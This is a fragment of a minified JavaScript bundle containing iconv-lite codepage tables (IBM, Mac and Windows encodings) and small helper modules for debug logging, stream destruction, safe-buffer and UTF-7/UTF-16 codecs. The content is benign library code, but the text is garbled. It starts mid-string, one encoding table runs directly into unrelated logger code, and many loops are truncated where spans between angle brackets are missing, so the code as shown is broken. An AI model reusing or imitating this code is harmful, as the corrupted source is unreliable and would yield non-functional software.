u0429\u0447\u0427\xA7\u25A0\xA0"},ibm855:"cp855",csibm855:"cp855",cp856:{type:"_sbcs",chars:"\u05D0\u05D1\u05D2\u05D3\u05D4\u05D5\u05D6\u05D7\u05D8\u05D9\u05DA\u05DB\u05DC\u05DD\u05DE\u05DF\u05E0\u05E1\u05E2\u05E3\u05E4\u05E5\u05E6\u05E7\u05E8\u05E9\u05EA\uFFFD\xA3\uFFFD\xD7\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\xAE\xAC\xBD\xBC\uFFFD\xAB\xBB\u2591\u2592\u2593\u2502\u2524\uFFFD\uFFFD\uFFFD\xA9\u2563\u2551\u2557\u255D\xA2\xA5\u2510\u2514\u2534\u252C\u251C\u2500\u253C\uFFFD\uFFFD\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2518\u250C\u2588\u2584\xA6\uFFFD\u2580\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\xB5\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\xAF\xB4\xAD\xB1\u2017\xBE\xB6\xA7\xF7\xB8\xB0\xA8\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm856:"cp856",csibm856:"cp856",cp857:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\u0131\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\u0130\xD6\xDC\xF8\xA3\xD8\u015E\u015F\xE1\xED\xF3\xFA\xF1\xD1\u011E\u011F\xBF\xAE\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\xC1\xC2\xC0\xA9\u2563\u2551\u2557\u255D\xA2\xA5\u2510\u2514\u2534\u252C\u251C\u2500\u253C\xE3\xC3\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\xBA\xAA\xCA\xCB\xC8\uFFFD\xCD\xCE\xCF\u2518\u250C\u2588\u2584\xA6\xCC\u2580\xD3\xDF\xD4\xD2\xF5\xD5\xB5\uFFFD\xD7\xDA\xDB\xD9\xEC\xFF\xAF\xB4\xAD\xB1\uFFFD\xBE\xB6\xA7\xF7\xB8\xB0\xA8\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm857:"cp857",csibm857:"cp857",cp858:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xF8\xA3\xD8\xD7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\xAE\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\xC1\xC2\xC0\xA9\u2563\u2551\u2557\u255D\xA2\xA5\u2510\u2514\u2534\u252C\u251C\u2500\u253C\xE3\xC3\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\xF0\xD0\xCA\xCB\xC8\u20AC\xCD\xCE\xCF\u2518\u250C\u2588\u2584\xA6\xCC\u2580\xD3\xDF\xD4\xD2\xF5\xD5\xB5\xFE\xDE\xDA\xDB\xD9\xFD\xDD\xAF\xB4\xAD\xB1\u2017\xBE\xB6\xA7\xF7\xB8\xB0\xA8\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm858:"cp858",csibm858:"cp858",cp860:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE3\xE0\xC1\xE7\xEA\xCA\xE8\xCD\xD4\xEC\xC3\xC2\xC9\xC0\xC8\xF4\xF5\xF2\xDA\xF9\xCC\xD5\xDC\xA2\xA3\xD9\u20A7\xD3\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\xD2\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm860:"cp860",csibm860:"cp860",cp861:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xD0\xF0\xDE\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xFE\xFB\xDD\xFD\xD6\xDC\xF8\xA3\xD8\u20A7\u0192\xE1\xED\xF3\xFA\xC1\xCD\xD3\xDA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm861:"cp861",csibm861:"cp861",cp862:{type:"_sbcs",chars:"\u05D0\u05D1\u05D2\u05D3\u05D4\u05D5\u05D6\u05D7\u05D8\u05D9\u05DA\u05DB\u05DC\u05DD\u05DE\u05DF\u05E0\u05E1\u05E2\u05E3\u05E4\u05E5\u05E6\u05E7\u05E8\u05E9\u05EA\xA2\xA3\xA5\u20A7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm862:"cp862",csibm862:"cp862",cp863:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xC2\xE0\xB6\xE7\xEA\xEB\xE8\xEF\xEE\u2017\xC0\xA7\xC9\xC8\xCA\xF4\xCB\xCF\xFB\xF9\xA4\xD4\xDC\xA2\xA3\xD9\xDB\u0192\xA6\xB4\xF3\xFA\xA8\xB8\xB3\xAF\xCE\u2310\xAC\xBD\xBC\xBE\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm863:"cp863",csibm863:"cp863",cp864:{type:"_sbcs",chars:`\0\x07\b +`+a),t.push("\x1B[3"+n+"m+"+Mt.humanize(this.diff)+"\x1B[0m")}else t[0]=new Date().toUTCString()+" "+e+" "+t[0]}function HR(){return FR.write(ki.format.apply(ki,arguments)+` +`)}function BR(t){t==null?delete process.env.DEBUG:process.env.DEBUG=t}function Lh(){return process.env.DEBUG}function VR(t){var e,r=process.binding("tty_wrap");switch(r.guessHandleType(t)){case"TTY":e=new qh.WriteStream(t),e._type="tty",e._handle&&e._handle.unref&&e._handle.unref();break;case"FILE":var n=require("fs");e=new n.SyncWriteStream(t,{autoClose:!1}),e._type="fs";break;case"PIPE":case"TCP":var a=require("net");e=new a.Socket({fd:t,readable:!1,writable:!0}),e.readable=!1,e.read=null,e._type="pipe",e._handle&&e._handle.unref&&e._handle.unref();break;default:throw new Error("Implement me. Unknown stream file type!")}return e.fd=t,e._isStdio=!0,e}function ZR(t){t.inspectOpts={};for(var e=Object.keys(Mt.inspectOpts),r=0;r{typeof process<"u"&&process.type==="renderer"?nd.exports=Dh():nd.exports=zh()});var sd=V((oV,Hh)=>{"use strict";var GR=require("events").EventEmitter,WR=require("fs").ReadStream,Uh=require("stream"),Qa=require("zlib");Hh.exports=KR;function KR(t,e){return tP(t)?XR(t):rP(t)?YR(t):QR(t)&&t.destroy(),eP(t)&&e&&(t.removeAllListeners("error"),t.addListener("error",aP)),t}function XR(t){t.destroy(),typeof t.close=="function"&&t.on("open",sP)}function JR(t){if(t._hadError===!0){var e=t._binding===null?"_binding":"_handle";t[e]={close:function(){this[e]=null}}}t.close()}function YR(t){typeof t.destroy=="function"?t._binding?(t.destroy(),t._processing?(t._needDrain=!0,t.once("drain",nP)):t._binding.clear()):t._destroy&&t._destroy!==Uh.Transform.prototype._destroy?t.destroy():t._destroy&&typeof t.close=="function"?(t.destroyed=!0,t.close()):t.destroy():typeof t.close=="function"&&JR(t)}function QR(t){return t instanceof Uh&&typeof t.destroy=="function"}function eP(t){return t instanceof GR}function tP(t){return t instanceof WR}function rP(t){return t instanceof Qa.Gzip||t instanceof Qa.Gunzip||t instanceof Qa.Deflate||t instanceof Qa.DeflateRaw||t instanceof Qa.Inflate||t instanceof Qa.InflateRaw||t instanceof Qa.Unzip}function aP(){}function nP(){this._binding.clear()}function sP(){typeof this.fd=="number"&&this.close()}});var en=V((cV,Bh)=>{"use strict";var Ko=require("buffer"),rs=Ko.Buffer,gr={},yr;for(yr in Ko)Ko.hasOwnProperty(yr)&&(yr==="SlowBuffer"||yr==="Buffer"||(gr[yr]=Ko[yr]));var as=gr.Buffer={};for(yr in rs)rs.hasOwnProperty(yr)&&(yr==="allocUnsafe"||yr==="allocUnsafeSlow"||(as[yr]=rs[yr]));gr.Buffer.prototype=rs.prototype;(!as.from||as.from===Uint8Array.from)&&(as.from=function(t,e,r){if(typeof t=="number")throw new TypeError('The "value" argument must not be of type number. Received type '+typeof t);if(t&&typeof t.length>"u")throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t);return rs(t,e,r)});as.alloc||(as.alloc=function(t,e,r){if(typeof t!="number")throw new TypeError('The "size" argument must be of type number. Received type '+typeof t);if(t<0||t>=2*(1<<30))throw new RangeError('The value "'+t+'" is invalid for option "size"');var n=rs(t);return!e||e.length===0?n.fill(0):typeof r=="string"?n.fill(e,r):n.fill(e),n});if(!gr.kStringMaxLength)try{gr.kStringMaxLength=process.binding("buffer").kStringMaxLength}catch{}gr.constants||(gr.constants={MAX_LENGTH:gr.kMaxLength},gr.kStringMaxLength&&(gr.constants.MAX_STRING_LENGTH=gr.kStringMaxLength));Bh.exports=gr});var Zh=V(cd=>{"use strict";var Vh="\uFEFF";cd.PrependBOM=id;function id(t,e){this.encoder=t,this.addBOM=!0}id.prototype.write=function(t){return this.addBOM&&(t=Vh+t,this.addBOM=!1),this.encoder.write(t)};id.prototype.end=function(){return this.encoder.end()};cd.StripBOM=od;function od(t,e){this.decoder=t,this.pass=!1,this.options=e||{}}od.prototype.write=function(t){var e=this.decoder.write(t);return this.pass||!e||(e[0]===Vh&&(e=e.slice(1),typeof this.options.stripBOM=="function"&&this.options.stripBOM()),this.pass=!0),e};od.prototype.end=function(){return this.decoder.end()}});var Kh=V((lV,Wh)=>{"use strict";var $i=en().Buffer;Wh.exports={utf8:{type:"_internal",bomAware:!0},cesu8:{type:"_internal",bomAware:!0},unicode11utf8:"utf8",ucs2:{type:"_internal",bomAware:!0},utf16le:"ucs2",binary:{type:"_internal"},base64:{type:"_internal"},hex:{type:"_internal"},_internal:ud};function ud(t,e){this.enc=t.encodingName,this.bomAware=t.bomAware,this.enc==="base64"?this.encoder=dd:this.enc==="cesu8"&&(this.enc="utf8",this.encoder=pd,$i.from("eda0bdedb2a9","hex").toString()!=="\u{1F4A9}"&&(this.decoder=fd,this.defaultCharUnicode=e.defaultCharUnicode))}ud.prototype.encoder=ld;ud.prototype.decoder=Gh;var Xo=require("string_decoder").StringDecoder;Xo.prototype.end||(Xo.prototype.end=function(){});function Gh(t,e){Xo.call(this,e.enc)}Gh.prototype=Xo.prototype;function ld(t,e){this.enc=e.enc}ld.prototype.write=function(t){return $i.from(t,this.enc)};ld.prototype.end=function(){};function dd(t,e){this.prevStr=""}dd.prototype.write=function(t){t=this.prevStr+t;var e=t.length-t.length%4;return this.prevStr=t.slice(e),t=t.slice(0,e),$i.from(t,"base64")};dd.prototype.end=function(){return $i.from(this.prevStr,"base64")};function pd(t,e){}pd.prototype.write=function(t){for(var e=$i.alloc(t.length*3),r=0,n=0;n>>6),e[r++]=128+(a&63)):(e[r++]=224+(a>>>12),e[r++]=128+(a>>>6&63),e[r++]=128+(a&63))}return e.slice(0,r)};pd.prototype.end=function(){};function fd(t,e){this.acc=0,this.contBytes=0,this.accBytes=0,this.defaultCharUnicode=e.defaultCharUnicode}fd.prototype.write=function(t){for(var e=this.acc,r=this.contBytes,n=this.accBytes,a="",s=0;s0&&(a+=this.defaultCharUnicode,r=0),i<128?a+=String.fromCharCode(i):i<224?(e=i&31,r=1,n=1):i<240?(e=i&15,r=2,n=1):a+=this.defaultCharUnicode):r>0?(e=e<<6|i&63,r--,n++,r===0&&(n===2&&e<128&&e>0?a+=this.defaultCharUnicode:n===3&&e<2048?a+=this.defaultCharUnicode:a+=String.fromCharCode(e))):a+=this.defaultCharUnicode}return this.acc=e,this.contBytes=r,this.accBytes=n,a};fd.prototype.end=function(){var t=0;return this.contBytes>0&&(t+=this.defaultCharUnicode),t}});var Jh=V(_d=>{"use strict";var Jo=en().Buffer;_d.utf16be=Yo;function Yo(){}Yo.prototype.encoder=md;Yo.prototype.decoder=hd;Yo.prototype.bomAware=!0;function md(){}md.prototype.write=function(t){for(var e=Jo.from(t,"ucs2"),r=0;r=2)if(t[0]==254&&t[1]==255)r="utf-16be";else if(t[0]==255&&t[1]==254)r="utf-16le";else{for(var n=0,a=0,s=Math.min(t.length-t.length%2,64),i=0;in?r="utf-16be":a{"use strict";var Zr=en().Buffer;tc.utf7=Qo;tc.unicode11utf7="utf7";function Qo(t,e){this.iconv=e}Qo.prototype.encoder=xd;Qo.prototype.decoder=wd;Qo.prototype.bomAware=!0;var iP=/[^A-Za-z0-9'\(\),-\.\/:\? \n\r\t]+/g;function xd(t,e){this.iconv=e.iconv}xd.prototype.write=function(t){return Zr.from(t.replace(iP,function(e){return"+"+(e==="+"?"":this.iconv.encode(e,"utf16-be").toString("base64").replace(/=+$/,""))+"-"}.bind(this)))};xd.prototype.end=function(){};function wd(t,e){this.iconv=e.iconv,this.inBase64=!1,this.base64Accum=""}var oP=/[A-Za-z0-9\/+]/,Sd=[];for(Ri=0;Ri<256;Ri++)Sd[Ri]=oP.test(String.fromCharCode(Ri));var Ri,cP=43,tn=45,bd=38;wd.prototype.write=function(t){for(var e="",r=0,n=this.inBase64,a=this.base64Accum,s=0;s0&&(t=this.iconv.decode(Zr.from(this.base64Accum,"base64"),"utf16-be")),this.inBase64=!1,this.base64Accum="",t};tc.utf7imap=ec;function ec(t,e){this.iconv=e}ec.prototype.encoder=Ed;ec.prototype.decoder=Td;ec.prototype.bomAware=!0;function Ed(t,e){this.iconv=e.iconv,this.inBase64=!1,this.base64Accum=Zr.alloc(6),this.base64AccumIdx=0}Ed.prototype.write=function(t){for(var e=this.inBase64,r=this.base64Accum,n=this.base64AccumIdx,a=Zr.alloc(t.length*5+10),s=0,i=0;i0&&(s+=a.write(r.slice(0,n).toString("base64").replace(/\//g,",").replace(/=+$/,""),s),n=0),a[s++]=tn,e=!1),e||(a[s++]=o,o===bd&&(a[s++]=tn))):(e||(a[s++]=bd,e=!0),e&&(r[n++]=o>>8,r[n++]=o&255,n==r.length&&(s+=a.write(r.toString("base64").replace(/\//g,","),s),n=0)))}return this.inBase64=e,this.base64AccumIdx=n,a.slice(0,s)};Ed.prototype.end=function(){var t=Zr.alloc(10),e=0;return this.inBase64&&(this.base64AccumIdx>0&&(e+=t.write(this.base64Accum.slice(0,this.base64AccumIdx).toString("base64").replace(/\//g,",").replace(/=+$/,""),e),this.base64AccumIdx=0),t[e++]=tn,this.inBase64=!1),t.slice(0,e)};function Td(t,e){this.iconv=e.iconv,this.inBase64=!1,this.base64Accum=""}var Yh=Sd.slice();Yh[44]=!0;Td.prototype.write=function(t){for(var e="",r=0,n=this.inBase64,a=this.base64Accum,s=0;s0&&(t=this.iconv.decode(Zr.from(this.base64Accum,"base64"),"utf16-be")),this.inBase64=!1,this.base64Accum="",t}});var tv=V(ev=>{"use strict";var rc=en().Buffer;ev._sbcs=kd;function kd(t,e){if(!t)throw new Error("SBCS codec is called without the data.");if(!t.chars||t.chars.length!==128&&t.chars.length!==256)throw new Error("Encoding '"+t.type+"' has incorrect 'chars' (must be of len 128 or 256)");if(t.chars.length===128){for(var r="",n=0;n<128;n++)r+=String.fromCharCode(n);t.chars=r+t.chars}this.decodeBuf=rc.from(t.chars,"ucs2");for(var a=rc.alloc(65536,e.defaultCharSingleByte.charCodeAt(0)),n=0;n{"use strict";rv.exports={10029:"maccenteuro",maccenteuro:{type:"_sbcs",chars:"\xC4\u0100\u0101\xC9\u0104\xD6\xDC\xE1\u0105\u010C\xE4\u010D\u0106\u0107\xE9\u0179\u017A\u010E\xED\u010F\u0112\u0113\u0116\xF3\u0117\xF4\xF6\xF5\xFA\u011A\u011B\xFC\u2020\xB0\u0118\xA3\xA7\u2022\xB6\xDF\xAE\xA9\u2122\u0119\xA8\u2260\u0123\u012E\u012F\u012A\u2264\u2265\u012B\u0136\u2202\u2211\u0142\u013B\u013C\u013D\u013E\u0139\u013A\u0145\u0146\u0143\xAC\u221A\u0144\u0147\u2206\xAB\xBB\u2026\xA0\u0148\u0150\xD5\u0151\u014C\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\u014D\u0154\u0155\u0158\u2039\u203A\u0159\u0156\u0157\u0160\u201A\u201E\u0161\u015A\u015B\xC1\u0164\u0165\xCD\u017D\u017E\u016A\xD3\xD4\u016B\u016E\xDA\u016F\u0170\u0171\u0172\u0173\xDD\xFD\u0137\u017B\u0141\u017C\u0122\u02C7"},808:"cp808",ibm808:"cp808",cp808:{type:"_sbcs",chars:"\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u0401\u0451\u0404\u0454\u0407\u0457\u040E\u045E\xB0\u2219\xB7\u221A\u2116\u20AC\u25A0\xA0"},mik:{type:"_sbcs",chars:"\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u2514\u2534\u252C\u251C\u2500\u253C\u2563\u2551\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2510\u2591\u2592\u2593\u2502\u2524\u2116\xA7\u2557\u255D\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ascii8bit:"ascii",usascii:"ascii",ansix34:"ascii",ansix341968:"ascii",ansix341986:"ascii",csascii:"ascii",cp367:"ascii",ibm367:"ascii",isoir6:"ascii",iso646us:"ascii",iso646irv:"ascii",us:"ascii",latin1:"iso88591",latin2:"iso88592",latin3:"iso88593",latin4:"iso88594",latin5:"iso88599",latin6:"iso885910",latin7:"iso885913",latin8:"iso885914",latin9:"iso885915",latin10:"iso885916",csisolatin1:"iso88591",csisolatin2:"iso88592",csisolatin3:"iso88593",csisolatin4:"iso88594",csisolatincyrillic:"iso88595",csisolatinarabic:"iso88596",csisolatingreek:"iso88597",csisolatinhebrew:"iso88598",csisolatin5:"iso88599",csisolatin6:"iso885910",l1:"iso88591",l2:"iso88592",l3:"iso88593",l4:"iso88594",l5:"iso88599",l6:"iso885910",l7:"iso885913",l8:"iso885914",l9:"iso885915",l10:"iso885916",isoir14:"iso646jp",isoir57:"iso646cn",isoir100:"iso88591",isoir101:"iso88592",isoir109:"iso88593",isoir110:"iso88594",isoir144:"iso88595",isoir127:"iso88596",isoir126:"iso88597",isoir138:"iso88598",isoir148:"iso88599",isoir157:"iso885910",isoir166:"tis620",isoir179:"iso885913",isoir199:"iso885914",isoir203:"iso885915",isoir226:"iso885916",cp819:"iso88591",ibm819:"iso88591",cyrillic:"iso88595",arabic:"iso88596",arabic8:"iso88596",ecma114:"iso88596",asmo708:"iso88596",greek:"iso88597",greek8:"iso88597",ecma118:"iso88597",elot928:"iso88597",hebrew:"iso88598",hebrew8:"iso88598",turkish:"iso88599",turkish8:"iso88599",thai:"iso885911",thai8:"iso885911",celtic:"iso885914",celtic8:"iso885914",isoceltic:"iso885914",tis6200:"tis620",tis62025291:"tis620",tis62025330:"tis620",1e4:"macroman",10006:"macgreek",10007:"maccyrillic",10079:"maciceland",10081:"macturkish",cspc8codepage437:"cp437",cspc775baltic:"cp775",cspc850multilingual:"cp850",cspcp852:"cp852",cspc862latinhebrew:"cp862",cpgr:"cp869",msee:"cp1250",mscyrl:"cp1251",msansi:"cp1252",msgreek:"cp1253",msturk:"cp1254",mshebr:"cp1255",msarab:"cp1256",winbaltrim:"cp1257",cp20866:"koi8r",20866:"koi8r",ibm878:"koi8r",cskoi8r:"koi8r",cp21866:"koi8u",21866:"koi8u",ibm1168:"koi8u",strk10482002:"rk1048",tcvn5712:"tcvn",tcvn57121:"tcvn",gb198880:"iso646cn",cn:"iso646cn",csiso14jisc6220ro:"iso646jp",jisc62201969ro:"iso646jp",jp:"iso646jp",cshproman8:"hproman8",r8:"hproman8",roman8:"hproman8",xroman8:"hproman8",ibm1051:"hproman8",mac:"macintosh",csmacintosh:"macintosh"}});var sv=V((hV,nv)=>{"use strict";nv.exports={437:"cp437",737:"cp737",775:"cp775",850:"cp850",852:"cp852",855:"cp855",856:"cp856",857:"cp857",858:"cp858",860:"cp860",861:"cp861",862:"cp862",863:"cp863",864:"cp864",865:"cp865",866:"cp866",869:"cp869",874:"windows874",922:"cp922",1046:"cp1046",1124:"cp1124",1125:"cp1125",1129:"cp1129",1133:"cp1133",1161:"cp1161",1162:"cp1162",1163:"cp1163",1250:"windows1250",1251:"windows1251",1252:"windows1252",1253:"windows1253",1254:"windows1254",1255:"windows1255",1256:"windows1256",1257:"windows1257",1258:"windows1258",28591:"iso88591",28592:"iso88592",28593:"iso88593",28594:"iso88594",28595:"iso88595",28596:"iso88596",28597:"iso88597",28598:"iso88598",28599:"iso88599",28600:"iso885910",28601:"iso885911",28603:"iso885913",28604:"iso885914",28605:"iso885915",28606:"iso885916",windows874:{type:"_sbcs",chars:"\u20AC\uFFFD\uFFFD\uFFFD\uFFFD\u2026\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\xA0\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\uFFFD\uFFFD\uFFFD\uFFFD\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u0E4E\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\u0E5A\u0E5B\uFFFD\uFFFD\uFFFD\uFFFD"},win874:"windows874",cp874:"windows874",windows1250:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\uFFFD\u201E\u2026\u2020\u2021\uFFFD\u2030\u0160\u2039\u015A\u0164\u017D\u0179\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\u0161\u203A\u015B\u0165\u017E\u017A\xA0\u02C7\u02D8\u0141\xA4\u0104\xA6\xA7\xA8\xA9\u015E\xAB\xAC\xAD\xAE\u017B\xB0\xB1\u02DB\u0142\xB4\xB5\xB6\xB7\xB8\u0105\u015F\xBB\u013D\u02DD\u013E\u017C\u0154\xC1\xC2\u0102\xC4\u0139\u0106\xC7\u010C\xC9\u0118\xCB\u011A\xCD\xCE\u010E\u0110\u0143\u0147\xD3\xD4\u0150\xD6\xD7\u0158\u016E\xDA\u0170\xDC\xDD\u0162\xDF\u0155\xE1\xE2\u0103\xE4\u013A\u0107\xE7\u010D\xE9\u0119\xEB\u011B\xED\xEE\u010F\u0111\u0144\u0148\xF3\xF4\u0151\xF6\xF7\u0159\u016F\xFA\u0171\xFC\xFD\u0163\u02D9"},win1250:"windows1250",cp1250:"windows1250",windows1251:{type:"_sbcs",chars:"\u0402\u0403\u201A\u0453\u201E\u2026\u2020\u2021\u20AC\u2030\u0409\u2039\u040A\u040C\u040B\u040F\u0452\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\u0459\u203A\u045A\u045C\u045B\u045F\xA0\u040E\u045E\u0408\xA4\u0490\xA6\xA7\u0401\xA9\u0404\xAB\xAC\xAD\xAE\u0407\xB0\xB1\u0406\u0456\u0491\xB5\xB6\xB7\u0451\u2116\u0454\xBB\u0458\u0405\u0455\u0457\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F"},win1251:"windows1251",cp1251:"windows1251",windows1252:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0160\u2039\u0152\uFFFD\u017D\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\u0161\u203A\u0153\uFFFD\u017E\u0178\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\x